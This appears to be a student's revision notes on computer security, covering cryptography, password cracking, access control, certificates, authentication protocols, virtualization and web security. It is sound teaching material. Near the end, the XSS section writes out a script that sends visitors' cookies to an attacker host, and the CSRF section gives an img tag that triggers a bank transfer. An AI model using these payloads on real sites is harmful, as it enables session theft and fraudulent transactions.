What is security?

Qualities of a secure system

- **Confidentiality – unauthorised disclosure of information has not occured** — *no unauthorized reads*
- **Integrity – unauthorised modification of information has not occured** — *no unauthorized writes*
- **Availability — resources are accessible and usable for authorised entities**
- **Accountability — entity who undertook an action can be determined** — technical
- **Non-repudiation — entities cannot deny that they have performed an action** that accountability has attributed to them — procedural

Threats

- **Asset = something that has enough value to warrant protection**, e.g. hardware, software, information, reputation
- **Vulnerability = a flaw or weakness in the design, implementation, or operation of a** (technical or organisational) **system that if exploited could compromise security**
- **Threat = a potential for the violation of security**
  - Threat posed by a potential attack = capability of attacker x intent of attacker
- **Attack = a deliberate attempt to compromise the security of an asset** — a threat come to fruition
- **Risk posed by a threat = expectation of the harm caused by an attack from that threat = probability of an attack x potential harm of the attack** = vulnerability x threat x harm
  - probability of an attack = capability of attacker x intent of attacker x vulnerability of target
- **Countermeasure = an action that reduces a threat or vulnerability by minimising the harm it can cause** by eliminating, preventing, or detecting the attack
- **Worm = a standalone piece of malware that does not require a host program and can spread through a network**
- **Virus = a self-replicating piece of malicious executable code that infects programs that are already installed on the system in order to be executed**
- **Worm and virus are both self-replicating but worm is additionally self-executing**

Risk management

- **Fix — remove vulnerability enabling the system to be used in the way it was before**
- **Avoid — prevent potential bad actors from being able to access the vulnerability** — reduces the usefulness of the system but increases security
- **Accept — decide it does not exceed your risk appetite and so do nothing**
- **Transfer — allow another entity to bear the risk (e.g. take out cyber insurance that covers the risk)**
- **Detection — put monitoring systems in place to enable reactive defence** — used when proactive defence (e.g. fix or avoid) is not practicable

Cryptography

Steganography

- **Encrypted data is clearly encrypted whereas data hidden using steganography looks innocuous**
  - **Can encrypt data then use steganography to get the best of both worlds**
- The data we wish to hide can be hidden in the least significant bits of an image/music cover medium

Historic cryptography: Transposition cipher

- **Write plaintext left-to-right top-to-bottom in a grid with width equal to the length of the keyword, pad message with Xs to fill the final row**
- **Assign each column a number based on the ordering of the corresponding letter in the keyword in the alphabet**
- **Cipher text is constructed by reading each column top-to-bottom and writing it left-to-right in the ciphertext, choosing columns in the order of the numbers**
- **For additional security, use double transposition: carry out the process again on the ciphertext**

Plaintext: THISISASECRET					
Key: PHONE					
	P	H	O	N	E
	5	2	4	3	1
	T	H	I	S	I
	S	A	S	E	C
	R	E	T	X	X
Ciphertext: ICXHAESEXISTTSR					

Historic cryptography: Substitution cipher

- **Monoalphabetic substitution cipher (e.g. Caesar cipher): Single ciphertext alphabet — vulnerable to frequency analysis**
- **Polyalphabetic substitution ciphers (e.g. Vigenere cipher): Create many ciphertext alphabets and use a key to decide which alphabet is used where — not directly vulnerable to frequency analysis**
- **Vigenere cipher**
  - Write out the plaintext alphabet along first row and down first column
  - Write out the plaintext alphabet down each column starting with the letter in the column and wrapping around
  - **To encrypt: Ciphertext character = cell in column that starts with key character and row that starts with plaintext character**
  - **To decrypt: Plaintext character = cell in column that starts with cipher text character and row that starts with key character**
  - **Each alphabet is reused every n characters where n is the key length, can apply frequency analysis to the characters that came from each alphabet individually**
    - *Key length = hcf(periods of repeated strings of length longer than 3)*

What makes good encryption?

- **Confusion — changing one bit/character of key causes multiple bits/characters of ciphertext to change** making relationship between key and ciphertext is hard to determine
- **Diffusion — changing one bit/character of plain text causes multiple bits/characters of the ciphertext to change** making relationship between plaintext and ciphertext hard to determine
- *Kerckhoff's principle* — Secure even if algorithm and key length is known, **key is the only thing that needs to be secret to provide security**
- **Usable/manageable — security needs to be balanced against ease of use (e.g. generating, managing, and distributing keys; time taken to encrypt and decrypt)**
    - **One time pad has perfect secrecy** *(For any plaintext and any ciphertext, there exists a key between them)* **but is impractical as each plaintext bit is XORed with a new key bit — key management is generally hard** (How will new keys be generated? How will new keys be distributed? How will current keys be protected? How will old keys be destroyed?...) **and OTP requires it to occur frequently**
        - *If it becomes a many time pad (keys are reused), XOR of ciphertexts is XOR of plaintexts which leaves it vulnerable to cryptanalysis*

DES/AES

- Are both block ciphers
- Are both symmetric: To decrypt simply apply the encryption algorithm to the cipher text with the key
- Has good confusion and moderate diffusion as only has diffusion over each block but the key is applied to every block

Modular arithmetic

- **$(A+B) \bmod n \equiv ((A \bmod n) + B) \bmod n \equiv ((A \bmod n) + (B \bmod n)) \bmod n$**
- **$(A*B) \bmod n \equiv ((A \bmod n) * B) \bmod n \equiv ((A \bmod n) * (B \bmod n)) \bmod n$**
- **$(x^{AB}) \bmod n \equiv (x^A \bmod n)^B \bmod n$** — this is why DHM works
  - $(X^A \bmod n)^B \bmod n \equiv (X^B \bmod n)^A \bmod n$ — this is (part of) why RSA works
- **y is a primitive root mod p iff $\{y^x \bmod p: x \in \mathbb{N}, 1 \leq x \leq p - 1\} = \{n \in \mathbb{N}: 1 \leq n \leq p - 1\}$**
  - If y is a primitive root mod p, then $y^x \bmod p$ is a periodic sequence with period p
    - **If y is a primitive root of p then the values of $y^x \bmod p$ are distributed uniformly over [1; p-1]** — for large p this makes a good one way function as all outputs have very small probabilities

RSA

- **Chose two large primes p and q, keep these secret**
- **Calculate and make public n=pq** — no efficient algorithm for prime factorisation is known
- **Generate and make public e such that $e \in \{x \in \mathbb{N}: 1 \leq x \leq (p-1)(q-1)\}$ and e is coprime with (p-1)(q-1)**
- **Generate and keep secret d such that ed = 1 mod ((p-1)(q-1))**
    - **Try k(p-1)(q-1) + 1 for natural k until you find one that is a multiple of e, then d=(k(p-1)(q-1) + 1)/e**
- N and e together make up the public key
- N and d together make up the private key
- To produce a ciphertext C from a message M: $C = M^e \bmod n$
- To produce a plaintext message M from a ciphertext C: $M = C^d \bmod n$
- 2048 or 3072 bit keys are considered secure — a lot larger than what is required for security with AES and would be slower than AES even if the keys were the same length
    - Encryption time is $O(k^2)$ and decryption time is $O(k^3)$ where k is the bit length of the key
    - **To minimize the amount of asymmetric decryption required, PGP generates a symmetric key for the message, encrypts the message with the symmetric key, and includes the symmetric key encrypted using RSA** with the recipient's public key

Diffie-Hellman-Merkle Key Exchange

1. **Alice and Bob agree on y and p and make them public**
2. **Alice and Bob pick private A and B and calculate and make public y^A mod p and y^B mod p respectively**
3. **Calculate and keep private $(y^B \bmod p)^A \bmod p$ and $(y^A \bmod p)^B \bmod p$ respectively — these will be equal** (by the properties of modular arithmetic) and are each the shared secret

- To find the shared secret, an attacker needs to find A or B — this requires solving the discrete logarithm problem (given n find x such that $y^x \bmod p = n$) for which no efficient algorithm is known
- Shared secret is used in a symmetric algorithm such as AES
- *Vulnerable to MITM unless a (MITM resilient) authentication step is added*

Hashing: Properties of a good hash algorithm

- **One-way**
- **Small changes to input should result in large changes to hash**
- **Collision resistance: Difficult to find inputs that produce the same hash**
- **Pre-image resistance: Difficult to find inputs that produce a given hash (i.e. hard to deliberately produce a specific collision)**

Hashing: SHA256

- Splits the message in 512 bit blocks, adds padding to the final block (a single 1 then 0s until it is 448 bits long), postpends the length of the final block prior to the padding as a 64 bit number to the final block to make it 512 bits
- Each block is split into 16 32-bit words — this is then expanded to 64 32 bit words by using the first 16 to generate the next 48 using XORs and bit rotations and bit shifts
- 8 32 bit variables (h_0 through to h_7) are used to produced the 256 bit hash
- Blocks are processed sequentially using ANDs and XORs and bit rotations and the h variables are changed by each block
- After the final block has been processed the h variables are concatenated to produce the 256 bit hash

Authentication

Password cracking

- **Online attack = making many login attempts to a system — likely to come up against a time-out mechanism**
- **Offline attack = stealing password hashes and trying to determine which passwords correspond to those hashes** (crack the hashes)
- Brute force and dictionary attack can be used in online or offline attacks
- For brute force, expected time to crack = ((size of character set)$^{\text{password length}}$/(number of passwords that can be checked per second * 2) as on average have to check half of all possible passwords
- **Entropy of a password = $\log_2$(((size of character set)$^{\text{password length}}$)** = password length x $\log_2$(size of character set)
- **A lookup table creates a map of hash → password using brute force or dictionary attack and then looks up each hash in the map instead of repeating the work for every hash**
  - Saves time but requires more space
- **A salt is randomly generated and stored for each user and is concatenated with their password before hashing — typically stored alongside the hash as is not particularly secret**
  - **Provided there are enough different possible salts, using a salt makes all form of lookup table infeasible as need a different table for each salt**
  - *A pepper is a secret salt — stored in a different place to the password hashes*

Password cracking: Reverse lookup table

- Less space intensive but also saves less time
- **A reduction function maps a hash to a password**
- **A hash chain of length k will apply the hash function k times and the reduction function k times — hash → reduce → … → hash → reduce**
- **Only the input to the first hash (start password) and output of the last reduce (final password) are stored**
- **To crack a hash it is passed through reduce → hash →… until either a final password in the table is reached or the chain is longer than a certain length, final password is looked up in table to find start password and chain is reconstructed to find what occurred directly before your hash**
    - **It is possible to match the end password without your hash having occurred in the chain — this is called a false alarm**
- **If two different starting passwords end up producing the same output from the reduction function, all entries in the chain after the duplicated output will be the same — called a chain collision — extra space is used to store effectively the same information**
    - Will have different end passwords so can’t even tell that it has occured

Password cracking: Rainbow table

- **Reverse lookup table with multiple reduction functions — reduces false alarms and chain collisions** but increases time required to crack
- **To crack have to construct multiple chains from hash, one with each reduction function as the first in the chain**
- **If number of distinct reduction functions = chain length, then the only chain collisions that occur** will happen at the same point in the chain and hence **will have the same final password and so can be detected and removed** — have still wasted time computing the duplicate even though no longer waste space

Alternatives to passwords

- Digital signatures (backed up by digital certificates)
- Biometrics
  - Will never match exactly — have to decide how to balance false positives against false negatives

Access control

- **Access control = limiting which entities (subjects) can access a resource (object)**
- **Principle of least Privilege — every subject must be able to access only the objects that it is necessary for it to perform its task**
- **Principle of Fail-safe Defaults — assume a subject does not have any permissions on each object until told otherwise**
- **In DAC (discretionary access control) the controls are controlled by the owner of the object**
  - **Access control matrix:** Each row is a subject, each column is an object, and **each cell is a list of permissions — tends to be sparse — space inefficient**
  - **Access control list: A map from each object to a map from each subject to a list of permissions** — *most popular implementation*
  - **Capability list: A map from each subject to a map from each object to a list of permissions**
- **In MAC (mandatory access control) owners of objects cannot directly control the controls as the controls are determined by system wide policies about objects of that type**

Access control: Multi level security (Bell–LaPadula)

- Each object is assigned a security label (S, C) where S is the security level (sensitivity, e.g. one of {top secret, secret, confidential, public}) and C is the set of categories (the projects it falls under the scope of) — called the classification of the object
- Each subject is assigned a security label (S, C) where S is their level of security clearance and C is the set of projects they have been assigned to work on — called the clearance of the subject
- A partial order is defined: **$(c1, X1) \leq (c2, X2)$ iff $c1 \leq c2 \land X1 \subseteq X2$**
- **A subject s with clearance L(s) has read access to an object o with classification L(o) iff $L(s) \geq L(o)$** — no read up
- **Write access iff $L(o) \geq L(s)$** — no write down, prevents the lowering of the classification of data and encourages use of principle of least privilege
- **Read and write access iff $L(s) = L(o)$**
- If have write access but not read access, can only append to or create, can't overwrite
    - In SELinux, by default, all writing is limited to L(s) = L(o)

Access control: Multi level security

- **The set of security labels L should form a lattice (for any pair of security labels, there should exist a least upper bound and a greatest lower bound)**
- **The minimum security level** (hence following the principle of least privilege) **that needs to be assigned to a subject so that it can read both O1 and O2 is the least upper bound of O1 and O2 which is (max(s1, s2), c1 ∪ c2)**
- **The highest security level that can be assigned to a object** (hence following the principle of least privilege) **so that it can be read by subjects P1 and P2 is the greatest lower bound of P1 and P2 which is (min(s1, s2), c1 ∩ c2)**

Digital certificates

- **A digital signature is formed by hashing a message then encrypting the hash using sender's private key** — could in principle encrypt whole message instead of a hash but encrypting a hash is faster in the general case
    - Can sign message using sender's private key and encrypt message using recipient's public key — *best practice is to sign before and after encrypting*
- **MAC (message authentication code) hashes message and encrypts hash using a symmetric cipher** with key known to sender and receiver but no one else — faster than using asymmetric cryptography but does not provide non-repudiation
- A certificate authority is a trusted third party that issues certificates certifying that a public key belongs to a certain entity
    - **Certificates contain the public key, information about the entity, and a digital signature of the certificate** created using the CA's private key
    - **The public keys of root CAs are known by operating systems** in order to break the cycle of needing a certificate to be able to trust the signature on a certificate

Digital certificates: Web of Trust

- To avoid having to trust a CA can use web of trust
- Entities sign each other's certificates and each trust some other entities
- **A validity and trust attribute are stored for each certificate**
  - **Validity = how confident the signer is that the public key belongs to the entity named on the certificate — can be full, marginal, or unknown**
  - **Trust = how confident the signer is in the entity on the certificate's accuracy in making judgements about other certificates — can be ultimate, full, or marginal**
- **If one entity that you fully trust or n entities that you marginally trust, have full validity for a certificate you will be considered to also consider it to have fully validity — this only works for a user configurable number of degrees of separation from an entity that has actually signed the certificate**
- **If a entity that you have ultimate trust in is in the chain, the restriction on degrees of separation is not upheld**

Authenticating across a network

- **$A \rightarrow B$: $[M_1]_{K1}$, $\{M_2\}_{K2}$, M_3 denotes a message sent from A to B with the first part signed with the private key K1, the second part encrypted with the public key K2, and the third part plain**
- **A unilateral authentication protocol**
  - A—>B: $[\text{I'm A}]_A$
  - B—>A: I'm B
  - Vulnerable to replay attacks
    - **Random token** (Nonce) — Small chance attacker may have a previous exchange with that nonce that they can replay, timestamps avoid this
      - **A—>B: I'm A**
      - **B—>A: I'm B, N**
      - **A—>B: $[N]_A$**
    - **Include timestamp** — requires fewer messages but requires the clocks to agree
      - **A—>B: $[\text{I'm A, timestamp}]_A$**
      - **B—>A: I'm B**
- **A mutual authentication protocol**
  - **A—>B: I'm A, N_A**
  - **B—>A: I'm B,N_B,$[N_A]_{KB}$**
  - **A—>B: $[N_B]_{KA}$**
- **Encryption based authentication**
  - **A—>B: I'm A, $\{N_A\}_B$**
  - **B—>A: I'm B,$\{N_B\}_A$,N_A**
  - **A—>B: N_B**

Authenticating across a network: MITM

- **To defend against man in the middle attacks, include IP of receiver when using signatures and IP of sender when using encryption**
  - A—>E: I'm A
  - E—>B: I'm A
  - B—>E: I'm B, N
  - E—>A: I'm B, N
  - A—>E: $[N,I_E]_A$
  - E—>B: $[N,I_E]_A$ — authentication failure as $I_B \neq I_E$

  - A—>E: I'm A
  - E—>B: I'm A
  - B—>E: I'm B, $\{N, I_B\}_A$
  - E—>A: I'm B, $\{N, I_B\}_A$ — authentication failure as $I_B \neq I_A$
  - A—>E: N — this step does not get to occur
  - E—>B: N — this step does not get to occur

Virtualization

Virtualization

- Type 1 virtualization uses a hardware hypervisor — no host OS required
- Type 2 virtualization uses a software hypervisor that runs as an application on the host OS
- **Isolation — each VM is encapsulated**
  - **If one VM is attacked it should not be possible to access other VMs or the host**
- **State recording — VMs make it easy to roll back the state of the virtual disk**
  - **Can roll back to completely remove malware and regain files lost to ransomware**
  - **People can become lazy with security hygiene because they know it is easy to roll back if infected with malware**
  - **Can end up accidentally unapplying security patches or reenabling old user accounts**
  - **Sensitive data that you no longer need and so have deleted will still be being stored by the hypervisor to facilitate roll back — if you rollback you may reinstate them without realising and if hypervisor is compromised the files can be stolen**
- **Transience — can be quickly started and stopped**
  - **Cannot attack a OS that isn't running — VMs spend more time not running than physical machines, hence probability of attack is lower**
  - **Vulnerable VMs will be missed by blue team vulnerability scanning as not all will be online at the time of the scan**

Virtualization

- Low-privilege
  - Typically only the OS can monitor the OS as the OS has higher privilege than all software running under it — although the OS has the highest privilege in the guest OS, in the host the VM hypervisor has higher privilege than the guest OS and hence can monitor the OS for signs of compromise
- Mobility — VM is defined by a series of files which can easily be copied onto other machines
  - If a physical machine is switched off, an attacker cannot access the hard drive contents whereas if an attacker is present in the host OS they can copy the file that defines your VM and hence steal the contents of your virtual hard drive (and if the VM is not shut down, but instead paused or suspended, virtual RAM)
- Trust in hypervisor — hypervisor has complete control over VMs and has been given a high degree of control over the hardware of the host physical machine
  - If hypervisor is compromised, the attacker can obviously compromise the guest OSs running under it — can even compromise the host OS as the hypervisor runs with a high level of privilege in order to be able to access the real hardware directly

Web security

HTTPS

- HTTPS (uses TLS)
  1. An encryption algorithm and a hash algorithm are negotiated
  2. Web server is authenticated using digital signatures
  3. Keys are exchanged
  4. All messages can then be signed and encrypted
- TLS (simplified)
  1. Client sends a list of supported encryption and hash algorithms and a nonce
  2. Server tells the client which encryption and hash algorithm they should both use (which should (but not must) be one from the client's list) and sends its digital certificate and a signature of the nonce
  3. Client checks certificate and signature
  4. Symmetric session key is established — can use Diffie-Hellman or have client generate one and encrypt it with the server's public key

Cookies

- Cookies are set using the Set-cookie header in the HTTP response
  - If HTTPOnly attribute is set, cookie cannot be accessed by JavaScript
  - If HostOnly attribute is set, cookie is not sent to subdomains
    - Otherwise, if an attacker can take over a sub-domain (e.g. if a subdomain is not being used, the server that hosts it is probably not being actively protected), they can steal cookies set by the parent domain
  - If Secure attribute is set, cookie is only sent if HTTPS is used
    - Otherwise, if page is also available on HTTP and user navigates to HTTP version, then cookies can be stolen by network sniffers
- First party cookie = a cookie with domain attribute that matches the URL the user navigated to
- Third party cookie = a cookie that is not a first party cookie — used when the page loads resources from different domains e.g. adverts

XSS

- *Reflected cross-site scripting is when a URL parameter is injected directly into the HTML meaning you can add JavaScript to the URL parameter and have it injected into the page for you*
    - *Must be targeted at users by sending them a link with the dodgy parameter*
- *Stored cross-site scripting is when you get JavaScript stored in a database that gets injected into the HTML of the page e.g. a post on a social network*
    - *Anyone who sees the affected post is vulnerable — more serious than reflected*
- **Can be used to steal cookies for the current domain** — e.g. a comment on a blog containing `<script>document.write('<img src="http://attacker.com/stole.cgi?text=' + escape(document.cookie) + '">');</script>` automatically steals visitors' cookies for the blog host

CSRF

- **Exploits the fact that the user's browser has the cookies needed to authenticate as them to a range of sites and will send these in any request to those sites**
- E.g. a comment on a blog containing <img src='http://bank.com/transfer.cgi?to=1234321&amount=1000> automatically causes a bank transfer if the visitor is logged in to bank.com